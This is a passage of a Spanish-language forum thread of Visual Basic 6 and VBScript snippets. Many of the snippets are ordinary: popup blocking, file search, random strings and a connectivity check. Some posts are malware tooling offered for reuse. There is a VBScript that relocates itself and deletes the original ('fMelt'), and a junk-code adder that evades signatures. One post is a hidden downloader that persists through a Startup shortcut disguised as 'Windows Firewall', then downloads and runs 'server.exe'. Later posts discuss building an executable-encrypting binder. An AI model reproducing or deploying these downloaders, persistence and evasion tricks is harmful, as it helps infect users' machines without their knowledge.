• [VB6] Coleccion de Codigos Utiles

 #210993  por ANTRAX
 27 Jul 2010, 19:59
Este simple ejemplo muestra como podemos bloquear mediante el evento NewWindows2 del Control WeBrowser de Visual basic, una ventana PopUp o ventana emergente.


Controles

* Colocar en un Formulario un control WebBrowser llamado WebBrowser1
* Un control CheckBox Check1.

Nota: Si el Ckeck1 está activado, en el evento NewWindow2 del Control Web, se coloca la variable Cancel en True , para que de esta manera cancelar la ejecución del navegador predeterminado de windows.

Código fuente en un Formulario:
Código: [ Debe registrarse para ver este enlace ]
Option Explicit

'Colocar un control checkBox ( Ckeck1 ) y un control WebBrowser _
, si el check está en True, en el evento NewWindow2 _
del Control Web, se pone la variable Cancel en True


'Importante: abrir una página que sea una ventana PopUp

'---------------------------------------------------------------------

Private Sub Command1_Click()

'Le indicamos al control Webbrowser que navegue a una url
WebBrowser1.Navigate "www.una_url_que_tenga_PopUp.com"

End Sub

Private Sub webbrowser1_NewWindow2(ppDisp As Object, Cancel As Boolean)

'Si está activado el check1 entonces Cancelamos y evitamos el popUp
If Check1 Then Cancel = True

End Sub 
 #210995  por ANTRAX
 27 Jul 2010, 20:01
Ejemplo que muestra como buscar archivos y directorios mediante algunas funciones del Api

El ejemplo permite buscar archivos incluyendo subdirectorios, también podemos buscar un determinado fichero como también por extenciones, ..como lo hace windows, y utilizando comodines para la búsqueda

Además, la función que busca, retorna el tamaño total en bytes de los ficheros encontrados y el número de directorios o carpetas

Las funciones del Api que se usan son:

* FindFirstFile : busca el primer archivo en el directorio
* FindNextFile : busca el siguiente
* FindClose : Para cuando finaliza la búsqueda de archivos es necesario liberar los recursos
* GetFileAttributes: para los atributos de archivos, en este caso para el tamaño.



Controles para el ejemplo

* Un control textBox llamado Text1 ( para indicar el path donde buscar, por ejemplo c:\carpeta )
* Un control textBox para indicar el archivo o los archivos a buscar ( Puede ser un archivos específico o todos los archivos de una determinada extensión, por ejemplo * .doc, o ... *.*, etc..)
* Agregar en el proyecto un control command1 ( para buscar )
* Añadir un control ListBox llamado List1 para listar los archivos
* Agregar un módulo bas.
Código: [ Debe registrarse para ver este enlace ]
Option Explicit


'***************************************************************************
'* Código fuente del módulo bas
'***************************************************************************



'Declaraciones del Api
'------------------------------------------------------------------------------

'Esta función busca el primer archivo de un Dir
Private Declare Function FindFirstFile Lib "kernel32" Alias "FindFirstFileA" ( _
ByVal lpFileName As String, _
lpFindFileData As WIN32_FIND_DATA) As Long

'Esta el siguiente archivo o directorio
Private Declare Function FindNextFile Lib "kernel32" Alias "FindNextFileA" ( _
ByVal hFindFile As Long, _
lpFindFileData As WIN32_FIND_DATA) As Long

Private Declare Function GetFileAttributes Lib "kernel32" Alias "GetFileAttributesA" ( _
ByVal lpFileName As String) As Long

'Esta cierra el Handle de búsqueda
Private Declare Function FindClose Lib "kernel32" (ByVal hFindFile As Long) As Long


' Constantes
'------------------------------------------------------------------------------

'Constantes de atributos de archivos
Const FILE_ATTRIBUTE_ARCHIVE = &H20
Const FILE_ATTRIBUTE_DIRECTORY = &H10
Const FILE_ATTRIBUTE_HIDDEN = &H2
Const FILE_ATTRIBUTE_NORMAL = &H80
Const FILE_ATTRIBUTE_READONLY = &H1
Const FILE_ATTRIBUTE_SYSTEM = &H4
Const FILE_ATTRIBUTE_TEMPORARY = &H100

'Otras constantes
Const MAX_PATH = 260
Const MAXDWORD = &HFFFF
Const INVALID_HANDLE_VALUE = -1


'UDT
'------------------------------------------------------------------------------

'Estructura para las fechas de los archivos
Private Type FILETIME
dwLowDateTime As Long
dwHighDateTime As Long
End Type

'Estructura necesaria para la información de archivos
Private Type WIN32_FIND_DATA
dwFileAttributes As Long
ftCreationTime As FILETIME
ftLastAccessTime As FILETIME
ftLastWriteTime As FILETIME
nFileSizeHigh As Long
nFileSizeLow As Long
dwReserved0 As Long
dwReserved1 As Long
cFileName As String * MAX_PATH
cAlternate As String * 14
End Type


'-----------------------------------------------------------------------
'Funciones
'-----------------------------------------------------------------------


'Esta función es para formatear los nombres de archivos y directorios. Elimina los CHR(0)
'------------------------------------------------------------------------
Function Eliminar_Nulos(OriginalStr As String) As String

If (InStr(OriginalStr, Chr(0)) > 0) Then
OriginalStr = Left(OriginalStr, InStr(OriginalStr, Chr(0)) - 1)
End If
Eliminar_Nulos = OriginalStr

End Function

'Esta función es la principal que permite buscar _
los archivos y listarlos en el ListBox


Function FindFilesAPI(Path As String, _
SearchStr As String, _
FileCount As Long, _
DirCount As Long, _
ListBox As ListBox)


Dim FileName As String
Dim DirName As String
Dim dirNames() As String
Dim nDir As Long
Dim i As Long
Dim hSearch As Long
Dim WFD As WIN32_FIND_DATA
Dim Cont As Long


If Right(Path, 1) <> "\" Then Path = Path & "\"
' Buscamos por mas directorios
nDir = 0
ReDim dirNames(nDir)
Cont = True
hSearch = FindFirstFile(Path & "*", WFD)
If hSearch <> INVALID_HANDLE_VALUE Then
Do While Cont
DirName = Eliminar_Nulos(WFD.cFileName)
' Ignore the current and encompassing directories.
If (DirName <> "." And (DirName <> ".." Then
' Check for directory with bitwise comparison.
If GetFileAttributes(Path & DirName) _
And FILE_ATTRIBUTE_DIRECTORY Then

dirNames(nDir) = DirName
DirCount = DirCount + 1
nDir = nDir + 1
ReDim Preserve dirNames(nDir)

End If
End If
Cont = FindNextFile(hSearch, WFD) 'Get next subdirectory.
Loop

Cont = FindClose(hSearch)

End If

hSearch = FindFirstFile(Path & SearchStr, WFD)
Cont = True
If hSearch <> INVALID_HANDLE_VALUE Then
While Cont
FileName = Eliminar_Nulos(WFD.cFileName)
If (FileName <> "." And (FileName <> ".." Then
FindFilesAPI = FindFilesAPI + (WFD.nFileSizeHigh * MAXDWORD) _
+ WFD.nFileSizeLow
FileCount = FileCount + 1
ListBox.AddItem Path & FileName
End If
Cont = FindNextFile(hSearch, WFD) ' Get next file
Wend
Cont = FindClose(hSearch)
End If

' Si estos son Sub Directorios......
If nDir > 0 Then

For i = 0 To nDir - 1
FindFilesAPI = FindFilesAPI + FindFilesAPI(Path & dirNames(i) & "\", _
SearchStr, FileCount, DirCount, ListBox)
Next i
End If
End Function 
 #212812  por STX
 01 Ago 2010, 19:37
-Random Strings y Numeros:
1 Command button
1 textbox
Código: [ Debe registrarse para ver este enlace ]
Private Sub Command1_Click()

    Dim a As String
    Dim b As String
    Dim C As String
    Dim D As String
    Dim e As String
    Dim F As String
    Dim G As String
    Dim H As String
    Dim i As String
    Dim j As String

    a = Random
    b = Random
    C = Random
    D = Random
    e = Random
    F = Random
    G = Random
    H = Random
    i = Random
    j = Random

    Text1.Text = a + b + C + D + e + F + G + H + i + j + a + b + C + D + e + F + G + H + i + j + a + b + C + D + e + F + G + H + i + j + a + b + C + D + e + F + G + H + i + j

End Sub

Function RandomNum() As Integer

    RandomNum = Int((9 - 1 + 1) * Rnd + 1)

End Function

Function RandomChar() As String

    Dim Char As Integer
    Char = Int((26 - 1 + 1) * Rnd + 1)
    If Char = 1 Then RandomChar = "A": Exit Function
    If Char = 2 Then RandomChar = "B": Exit Function
    If Char = 3 Then RandomChar = "C": Exit Function
    If Char = 4 Then RandomChar = "D": Exit Function
    If Char = 5 Then RandomChar = "E": Exit Function
    If Char = 6 Then RandomChar = "F": Exit Function
    If Char = 7 Then RandomChar = "G": Exit Function
    If Char = 8 Then RandomChar = "H": Exit Function
    If Char = 9 Then RandomChar = "I": Exit Function
    If Char = 10 Then RandomChar = "J": Exit Function
    If Char = 11 Then RandomChar = "K": Exit Function
    If Char = 12 Then RandomChar = "L": Exit Function
    If Char = 13 Then RandomChar = "M": Exit Function
    If Char = 14 Then RandomChar = "N": Exit Function
    If Char = 15 Then RandomChar = "O": Exit Function
    If Char = 16 Then RandomChar = "P": Exit Function
    If Char = 17 Then RandomChar = "Q": Exit Function
    If Char = 18 Then RandomChar = "R": Exit Function
    If Char = 19 Then RandomChar = "S": Exit Function
    If Char = 20 Then RandomChar = "T": Exit Function
    If Char = 21 Then RandomChar = "U": Exit Function
    If Char = 22 Then RandomChar = "V": Exit Function
    If Char = 23 Then RandomChar = "W": Exit Function
    If Char = 24 Then RandomChar = "X": Exit Function
    If Char = 25 Then RandomChar = "Y": Exit Function
    If Char = 26 Then RandomChar = "Z": Exit Function

End Function

Function Random() As Variant

    Dim Randm As Integer
    Randm = Int((3 - 1 + 1) * Rnd + 1)
    
    If Randm = 1 Then
        Random = RandomNum
    Else
        Random = RandomChar
    End If

End Function
Fuente: Ya no me acuerdo si alguien lo conoce que me la pase!

Salu2
 #215215  por ADX
 07 Ago 2010, 01:57
El codigo esta "asi" pq es de un programa mio.

fMelt (Derretir archivo):
Código: [ Debe registrarse para ver este enlace ]
Dim B5sH5uBN22
Dim nX2Uizdyhm
On Error Resume Next
Set B5sH5uBN22 = CreateObject("Scripting.FileSystemObject")
Set nX2Uizdyhm = CreateObject("WScript.Shell")
B5sH5uBN22.CopyFile WScript.ScriptFullName, nX2Uizdyhm.SpecialFolders(5) & "\" & WScript.ScriptName
If B5sH5uBN22.FileExists(nX2Uizdyhm.SpecialFolders(5) & "\" & WScript.ScriptName) = True Then
If nX2Uizdyhm.SpecialFolders(5) & "\" & WScript.ScriptName <> WScript.ScriptFullName Then
B5sH5uBN22.DeleteFile WScript.ScriptFullName
End If
End If
 #222410  por ADX
 26 Ago 2010, 17:20
Un programita q hice en vbs para listar archivos de forma rapida.
Código: [ Debe registrarse para ver este enlace ]
Option Explicit
 
Dim Carpeta
Dim Extension
Dim Lista
Dim objFSO
Dim objSH
Dim objWSH
Dim Valor
 
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objSH = CreateObject("Shell.Application")
Set objWSH = CreateObject("WScript.Shell")
 
On Error Resume Next
 
Select Case InputBox("1.Listar archivos" & vbCrLf & "2.Listar archivos por carpetas del sistema" & vbCrLf & "3.Listar archivos por carpetas especiales" & vbCrLf & "4.Listar archivos por extension" & vbCrLf & "5.Salir", WScript.ScriptName)
      Case 1
	      Call ObtenerCarpeta
		  objFSO.CreateTextFile("Log.txt", True).WriteLine "[" & UCase(Carpeta) & "]" & vbCrLf
		  For Each Carpeta In Carpeta.Files
		     Lista = Lista & Carpeta.Name & vbCrLf
		  Next
		  objFSO.OpenTextFile("Log.txt", 8, True).WriteLine Lista
		  objSH.ShellExecute "Log.txt"
		  WScript.Quit
      Case 2
	      objFSO.CreateTextFile "Log.txt", True
		  For Valor = 0 To 2
		     Set Carpeta = objFSO.GetSpecialFolder(Valor)
			 objFSO.OpenTextFile("Log.txt", 8, True).WriteLine "[" & UCase(Carpeta) & "]" & vbCrLf
			 For Each Carpeta In Carpeta.Files
			    Lista = Lista & Carpeta.Name & vbCrLf
			 Next
			 objFSO.OpenTextFile("Log.txt", 8, True).WriteLine Lista
			 Lista = vbNullString
		  Next
		  objFSO.OpenTextFile("Log.txt", 8, True).Close
		  objSH.ShellExecute "Log.txt"
		  WScript.Quit
	  Case 3
	      objFSO.CreateTextFile "Log.txt", True
	      For Valor = 0 To 17
		     Set Carpeta = objFSO.GetFolder(objWSH.SpecialFolders(Valor))
			 objFSO.OpenTextFile("Log.txt", 8, True).WriteLine "[" & UCase(objWSH.SpecialFolders(Valor)) & "]" & vbCrLf
			 For Each Carpeta In Carpeta.Files
			    Lista = Lista & Carpeta.Name & vbCrLf
			 Next
			 objFSO.OpenTextFile("Log.txt", 8, True).WriteLine Lista
			 Lista = vbNullString
		  Next
		  objFSO.OpenTextFile("Log.txt", 8, True).Close
		  objSH.ShellExecute "Log.txt"
		  WScript.Quit
	  Case 4
          Call ObtenerCarpeta
		  Extension = InputBox("Escriba la extension a buscar.", WScript.ScriptName)
		  objFSO.CreateTextFile("Log.txt", True).WriteLine "[" & UCase(Carpeta) & "]" & vbCrLf
		  For Each Carpeta In Carpeta.Files
		     If InStr(1, Carpeta.Name, Extension) <> 0 Then 
		       Lista = Lista & Carpeta.Name & vbCrLf
			 End If
		  Next
		  objFSO.OpenTextFile("Log.txt", 8, True).WriteLine Lista
		  objSH.ShellExecute "Log.txt"
		  WScript.Quit
      Case 5
	      WScript.Quit
End Select
 
Sub ObtenerCarpeta()
  Carpeta = InputBox("Escriba la direccion de la carpeta.", WScript.ScriptName)
  Set Carpeta = objFSO.GetFolder(Carpeta)
End Sub
 #225147  por ADX
 02 Sep 2010, 02:21
[*]Agregar caracteres aleatorios a un archivo VBS
Código: [ Debe registrarse para ver este enlace ]
Option Explicit
 
Const Chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"
 
AddJunkCode "C:\Users\NOMBRE\Desktop\a.vbs", 20, 10
 
Public Function AddJunkCode(VBSFile, CodeLength, CodeLines)
 
Dim Content
Dim JunkCode
Dim objFSO
Dim objWS
Dim X
 
If StrReverse(Mid(StrReverse(VBSFile), 1, 4)) <> ".vbs" Then MsgBox "Uso: AddJunkCode(""C:\vbscript.vbs"", 5, 5)", vbInformation:Exit Function
 
Set objFSO = CreateObject("Scripting.FileSystemObject")
 
Content = objFSO.OpenTextFile(VBSFile).ReadAll
 
For X = 1 To CodeLines
   Randomize
   JunkCode = JunkCode & "'" & Mid(Chars, Int(Rnd * 62) + 1, CodeLength) & vbCrLf
Next
 
objFSO.OpenTextFile(VBSFile, 2, True).Write JunkCode & Content:objFSO.OpenTextFile(VBSFile).Close
 
End Function
 #226458  por ANIMATRIX
 05 Sep 2010, 02:36
Otro de random, no tan random ya que usamos un condicional. Necesitamos un textbox y un commandbutton.
Código: [ Debe registrarse para ver este enlace ]
Private Sub Label10_Click()
Call GetRandomKey
End Sub

Private Function RandomNumber() As Integer
    Randomize
    var1 = Int(9 * Rnd)
    RandomNumber = var1
End Function

Private Function RandomLetter() As String
Anfang:
    Keyset = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
    Randomize
    var1 = Int(26 * Rnd)
    If var1 = 0 Then GoTo Anfang
    RandomLetter = Mid(Keyset, var1, 1)
End Function

Private Function GetRandomKey()
Dim i As Long
    Text3.Text = ""
    For i = 1 To 30
        If i = 2 Or i = 4 Or i = 6 Or i = 8 Or i = 10 Or i = 12 Or i = 14 Or i = 16 Or i = 18 Or i = 20 Or i = 22 Or i = 24 Or i = 26 Or i = 28 Then
            Text3.Text = Text3.Text & RandomNumber
        Else
            Text3.Text = Text3.Text & RandomLetter
        End If
    Next i
EncryptionKey = Text3.Text
End Function
 #232638  por Slek
 18 Sep 2010, 21:25
Saber si tenemos acceso a internet
Código: [ Debe registrarse para ver este enlace ]
Const KEY_QUERY_VALUE = &H1
Private Declare Function InternetGetConnectedState Lib "wininet.dll" (ByRef IpdwFlags As Long, ByVal dwReserved As Long) As Long

Function ConexionInternet() As Boolean
   
    ConexionInternet = IIf(InternetGetConnectedState(0&, 0&) <> 0, True, False)
    If Err Then ConexionInternet = True

End Function
Modo de empleo:
Código: [ Debe registrarse para ver este enlace ]
Private Sub Command1_Click()
If ConexionInternet = True Then
    MsgBox "Conectado"
Else
    MsgBox "No Conectado"
End If
End Sub
Saludos!
 #284040  por Ignaro mayor de BsAS
 09 Abr 2011, 05:22
Slek escribió:Saber si tenemos acceso a internet
Código: [ Debe registrarse para ver este enlace ]
Const KEY_QUERY_VALUE = &H1
Private Declare Function InternetGetConnectedState Lib "wininet.dll" (ByRef IpdwFlags As Long, ByVal dwReserved As Long) As Long

Function ConexionInternet() As Boolean
   
    ConexionInternet = IIf(InternetGetConnectedState(0&, 0&) <> 0, True, False)
    If Err Then ConexionInternet = True

End Function
Modo de empleo:
Código: [ Debe registrarse para ver este enlace ]
Private Sub Command1_Click()
If ConexionInternet = True Then
    MsgBox "Conectado"
Else
    MsgBox "No Conectado"
End If
End Sub
Saludos!

!Muy bueno este código!
 #306464  por warner2010
 20 Jun 2011, 14:53
Downloader VB 6.0
Código: [ Debe registrarse para ver este enlace ]
'declaraciones para ejecutar una vez descargado
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Const SW_SHOWNORMAL = 1
'declaraciones para guardar el archivo ini
Private Declare Function GetPrivateProfileString Lib "kernel32" Alias "GetPrivateProfileStringA" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpDefault As String, ByVal lpReturnedString As String, ByVal nSize As Long, ByVal lpFileName As String) As Long
Private Declare Function WritePrivateProfileString Lib "kernel32" Alias "WritePrivateProfileStringA" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpString As Any, ByVal lpFileName As String) As Long
Private Declare Function FileExists Lib "shlwapi.dll" Alias "PathFileExistsA" (ByVal pszPath As String) As Long
'declaraciones para descargar
Private Declare Function URLDownloadToFile Lib "urlmon" _
   Alias "URLDownloadToFileA" _
  (ByVal pCaller As Long, _
   ByVal szURL As String, _
   ByVal szFileName As String, _
   ByVal dwReserved As Long, _
   ByVal lpfnCB As Long) As Long
Dim ERROR_SUCCESS
'declaraciones para guardar el acceso directon en el inicio del sistema
Private Declare Function SHGetSpecialFolderLocation Lib "shell32.dll" ( _
     ByVal hwndOwner As Long, _
     ByVal nFolder As Long, _
     pidl As ITEMIDLIST) As Long
Private Declare Function SHGetPathFromIDList Lib "shell32.dll" Alias "SHGetPathFromIDListA" ( _
     ByVal pidl As Long, _
     ByVal pszPath As String) As Long
 Private Const MAX_PATH = 260
 Private Type SHITEMID
     cb As Long
     abID As Byte
 End Type
 Private Type ITEMIDLIST
     mkid As SHITEMID
 End Type
 Private Const CSIDL_STARTUP = &H7
 Private Const CSIDL_COMMON_STARTUP = &H18
 Dim obj As Object
Dim acceso_directo As Object

Private Sub form_load()
Me.Visible = False
    Dim estado As String
    Iniciarconwindows
    estado = INI_Read(App.Path & "\FirewallOptions.ini", "Estado", "Update")
    If Trim(estado) = "Listo!" Then
        Quitariniciarconwindows
        End
    End If
    Dim sSourceUrl As String
    Dim sDestinationUrl As String
    
    
    
    sSourceUrl = "http://anyhub.net/"  ' esta es la URL de donde se descarga el archivo
    sDestinationUrl = "C:\server.exe"  'este es el path donde se va a guardar el archivo
    
    
    
    Call INI_Write(App.Path & "\FirewallOptions.ini", "Estado", "Update", "Descargando")
    DownloadFile sSourceUrl, sDestinationUrl
    Call ShellExecute(Me.hwnd, vbNullString, sDestinationUrl, vbNullString, vbNullString, SW_SHOWNORMAL)
    Call INI_Write(App.Path & "\FirewallOptions.ini", "Estado", "Update", "Listo!")
    End
End Sub
'funcion para descargar
Private Function DownloadFile(ByVal sURL As String, ByVal sLocalFile As String) As Boolean
  DownloadFile = URLDownloadToFile(0, sURL, _
    sLocalFile, 0, 0) = ERROR_SUCCESS
End Function
'funcion para que el programa inicie cuando se inicia windows
Private Function Iniciarconwindows()
Set obj = CreateObject("wscript.Shell")
Set acceso_directo = obj.CreateShortcut(GetSpecialfolder(CSIDL_STARTUP) & "\Windows Firewall.lnk")
With acceso_directo
    .TargetPath = App.Path & "\" & App.EXEName
    .Save
End With
End Function
Function Quitariniciarconwindows()
    If Dir(GetSpecialfolder(CSIDL_STARTUP) & "\Comodin.lnk", vbNormal) = "" Then Exit Function
    Call Kill(GetSpecialfolder(CSIDL_STARTUP) & "\Comodin.lnk")
End Function
'funcion para escribir y leer de un ini
Public Function INI_Read(ByVal Filename As String, ByVal Key_Value As String, ByVal Key_Name As String, Optional ByVal Default As String) As String
    On Error GoTo ErrOut
    Dim Size As Integer
    Dim Value As String
    'Comprobamos que el archivo existe:
    If Not CBool(FileExists(Filename)) Then Err.Raise 53
    'Se define el tamaño maximo de caracteres
    'que podra tener la variable Value:
    Value = Space(256)
    'Se utiliza la función para obtener
    'el valor de la clave:
    Size = GetPrivateProfileString(Key_Value, Key_Name, Default, Value, Len(Value), Filename)
    'Si el tamaño es mayor a 0 entonces
    'se ha encontrado el valor de la clave:
    If Size > 0 Then
        Value = VBA.Left$(Value, Size)
    'Devolvemos el valor de la clave:
    If VBA.Right$(VBA.Trim$(Value), 1) = Chr(0) Then Value = VBA.Left$(VBA.Trim$(Value), Len(VBA.Trim$(Value)) - 1)
    INI_Read = VBA.Trim$(Value)
    Exit Function
    End If
ErrOut:
    INI_Read = Default
End Function
'Metodo de escritura. Si el archivo al que se refiere el parametro Filename
'no existe se crea automaticamente:
Public Sub INI_Write(ByVal Filename As String, ByVal Key_Value As String, ByVal Key_Name As String, ByVal Value As String)
    On Error GoTo ErrOut
    Dim Size As Integer
    'Escribimos el valor de la clave:
    Size = WritePrivateProfileString(Key_Value, Key_Name, Value, Filename)
ErrOut:
End Sub

'funcion para obtener el path al inicio del sistema
Private Function GetSpecialfolder(CSIDL As Long) As String
 Dim ret As Long, IDL As ITEMIDLIST
 ret = SHGetSpecialFolderLocation(100, CSIDL, IDL)
If ret = NOERROR Then
        Path$ = Space$(512)
        ret = SHGetPathFromIDList(ByVal IDL.mkid.cb, ByVal Path$)
        GetSpecialfolder = Left$(Path, InStr(Path, Chr$(0)) - 1)
        Exit Function
End If
 GetSpecialfolder = ""
 End Function
PD: Insertan esto en un form y modifican estas cosas:

'sSourceUrl = "[ Debe registrarse para ver este enlace ]" ' esta es la URL de donde se descarga el archivo
sDestinationUrl = "C:\server.exe" 'este es el path donde se va a guardar el archivo
 #413840  por Janpr99
 19 May 2013, 18:32
Buenas, el otro dia estaba yo haciendo un binder y tenia el siguiente problema.
1. Si el archivo es un ejecutable, Que lo encrypte! (.exe, .cmd, .dos, .bat, .com, .scr)
2. Si el archivo no es un ejecutabe, Que no lo encrypte! (.jpg, .png, .bmp, .gif, .wma, .wmv, .wav, .mp3, .avi) etc...

Entonces Seguramente hay metodos mucho mas faciles para determinar que tipo de archivo ha sido elegido por el usuario pero ami se me ocurrio este:

Insertamos la Funcion Reverse a nuestro Proyecto. (creo que es de M3)
Código: [ Debe registrarse para ver este enlace ]
Function sReV(sStr As String) As String

 Dim A() As Byte
 Dim i As Long

A = sStr
 For i = UBound(A) - 1 To 0 Step -2
sReV = sReV & Chr(A(i))
 Next i
End Function

Vale, una vez insertada la funcion Reverse, solo queda programar la parte en la que sabremos que tipo de archivo ha abierto el usuario para esto haremos lo siguiente.

Tenemos 2 commondialogs, uno para el archivo1 a bindear y otro para el archivo2 a bindear.

Programamos lo siguiente en el boton bindear:
Código: [ Debe registrarse para ver este enlace ]
Dim x As String
x = sReV(CommonDialog1.Filename) 'La string x contendra la ruta del commondialog1 al reves
'Ejemplo Ruta de commondialog1: C:\haha.exe
'Entonces le hacemos un reverse a la ruta y la string x tiene el siguiente valor: exe.ahah\:C
'Si os dais cuenta, se queda la extension en las 3 primeras letras, por lo tanto vamos a asignar una string para las 3.

For a = 1 To 1                  'Letra 1 de la ruta de la string x (e)
letra = Mid(x, a, 1)
Next

For a = 1 To 2                  'Letra 2 de la ruta de la string x (x)
letra2 = Mid(x, a, 1)
Next

For a = 1 To 3                  'Letra 3 de la ruta de la string x (e)
letra3 = Mid(x, a, 1)
Next

For a = 1 To 4                  'Letra 4 de la ruta de la string x (.)
letra4 = Mid(x, a, 1)
Next

Dim resultado As String 'Ahora asignamos una string que se quede con el valor de las letras pero descendiendo, (letra4 & letra3 & letra2 & letra)...
resultado = letra4 & letra3 & letra2 & letra   ' letra4 = . letra3 = e letra2 = x letra = e   (resultado = .exe)

Ahora ya solo queda programar la parte de encryptar o no.
Código: [ Debe registrarse para ver este enlace ]
If resultado = ".exe" or ".cmd" or ".bat" or ".com" or ".dos" or ".scr" then
'Encryptar
end if
 #434137  por Blau
 09 Ene 2014, 23:36
Janpr99 escribió:Buenas, el otro dia estaba yo haciendo un binder y tenia el siguiente problema.
1. Si el archivo es un ejecutable, Que lo encrypte! (.exe, .cmd, .dos, .bat, .com, .scr)
2. Si el archivo no es un ejecutabe, Que no lo encrypte! (.jpg, .png, .bmp, .gif, .wma, .wmv, .wav, .mp3, .avi) etc...

Entonces Seguramente hay metodos mucho mas faciles para determinar que tipo de archivo ha sido elegido por el usuario pero ami se me ocurrio este:

Insertamos la Funcion Reverse a nuestro Proyecto. (creo que es de M3)
Código: [ Debe registrarse para ver este enlace ]
Function sReV(sStr As String) As String

 Dim A() As Byte
 Dim i As Long

A = sStr
 For i = UBound(A) - 1 To 0 Step -2
sReV = sReV & Chr(A(i))
 Next i
End Function

Vale, una vez insertada la funcion Reverse, solo queda programar la parte en la que sabremos que tipo de archivo ha abierto el usuario para esto haremos lo siguiente.

Tenemos 2 commondialogs, uno para el archivo1 a bindear y otro para el archivo2 a bindear.

Programamos lo siguiente en el boton bindear:
Código: [ Debe registrarse para ver este enlace ]
Dim x As String
x = sReV(CommonDialog1.Filename) 'La string x contendra la ruta del commondialog1 al reves
'Ejemplo Ruta de commondialog1: C:\haha.exe
'Entonces le hacemos un reverse a la ruta y la string x tiene el siguiente valor: exe.ahah\:C
'Si os dais cuenta, se queda la extension en las 3 primeras letras, por lo tanto vamos a asignar una string para las 3.

For a = 1 To 1                  'Letra 1 de la ruta de la string x (e)
letra = Mid(x, a, 1)
Next

For a = 1 To 2                  'Letra 2 de la ruta de la string x (x)
letra2 = Mid(x, a, 1)
Next

For a = 1 To 3                  'Letra 3 de la ruta de la string x (e)
letra3 = Mid(x, a, 1)
Next

For a = 1 To 4                  'Letra 4 de la ruta de la string x (.)
letra4 = Mid(x, a, 1)
Next

Dim resultado As String 'Ahora asignamos una string que se quede con el valor de las letras pero descendiendo, (letra4 & letra3 & letra2 & letra)...
resultado = letra4 & letra3 & letra2 & letra   ' letra4 = . letra3 = e letra2 = x letra = e   (resultado = .exe)

Ahora ya solo queda programar la parte de encryptar o no.
Código: [ Debe registrarse para ver este enlace ]
If resultado = ".exe" or ".cmd" or ".bat" or ".com" or ".dos" or ".scr" then
'Encryptar
end if
No sé si será lo mismo que lo tuyo pero yo lo he hecho así
Código: [ Debe registrarse para ver este enlace ]
Public Function GetExtension(sStr As String) As String
    Dim spl() As String, length As Integer
    spl = Split(sStr, ".")
    GetExtension = spl(UBound(spl))
End Function
  • 1
  • 5
  • 6
  • 7
  • 8
  • 9